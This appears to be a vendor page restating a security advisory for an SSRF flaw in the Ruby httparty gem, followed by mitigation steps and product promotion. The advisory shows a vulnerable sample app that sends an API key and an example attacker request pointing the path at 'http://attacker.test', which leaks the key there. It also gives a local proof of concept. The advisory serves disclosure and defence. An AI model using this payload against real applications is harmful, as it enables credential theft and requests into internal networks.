Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
💎 RubyGems

GHSA-hm5p-x4rq-38w4

HIGH

httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Also known asCVE-2025-68696
Published
Dec 23, 2025
Updated
Jun 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk17th percentile+0.20%
0.00%0.25%0.51%0.76%0.1%0.3%Jan 26Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
💎httparty

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

  1. Set up two simple HTTP servers.

    mkdir /tmp/server1 /tmp/server2
    echo "this is server1" > /tmp/server1/index.html 
    echo "this is server2" > /tmp/server2/index.html
    python -m http.server -d /tmp/server1 10001 &
    python -m http.server -d /tmp/server2 10002 &
    
  2. Create a script (for example, main.rb):

    require 'httparty'
    
    class Client
      include HTTParty
      base_uri 'http://localhost:10001'
    end
    
    data = Client.get('http://localhost:10002').body
    puts data
    
  3. Run the script:

    $ ruby main.rb
    this is server2
    

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

  • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
  • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
  • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemshttpartyall versions0.24.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for httparty. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update httparty to 0.24.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hm5p-x4rq-38w4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hm5p-x4rq-38w4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hm5p-x4rq-38w4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. ## Details When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: ```rb require 'sinatra' require 'httparty' class RepositoryClient include HTTParty bas
O3 Security · Impact-Aware SCA

Is GHSA-hm5p-x4rq-38w4 in your dependencies?

O3 detects GHSA-hm5p-x4rq-38w4 across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.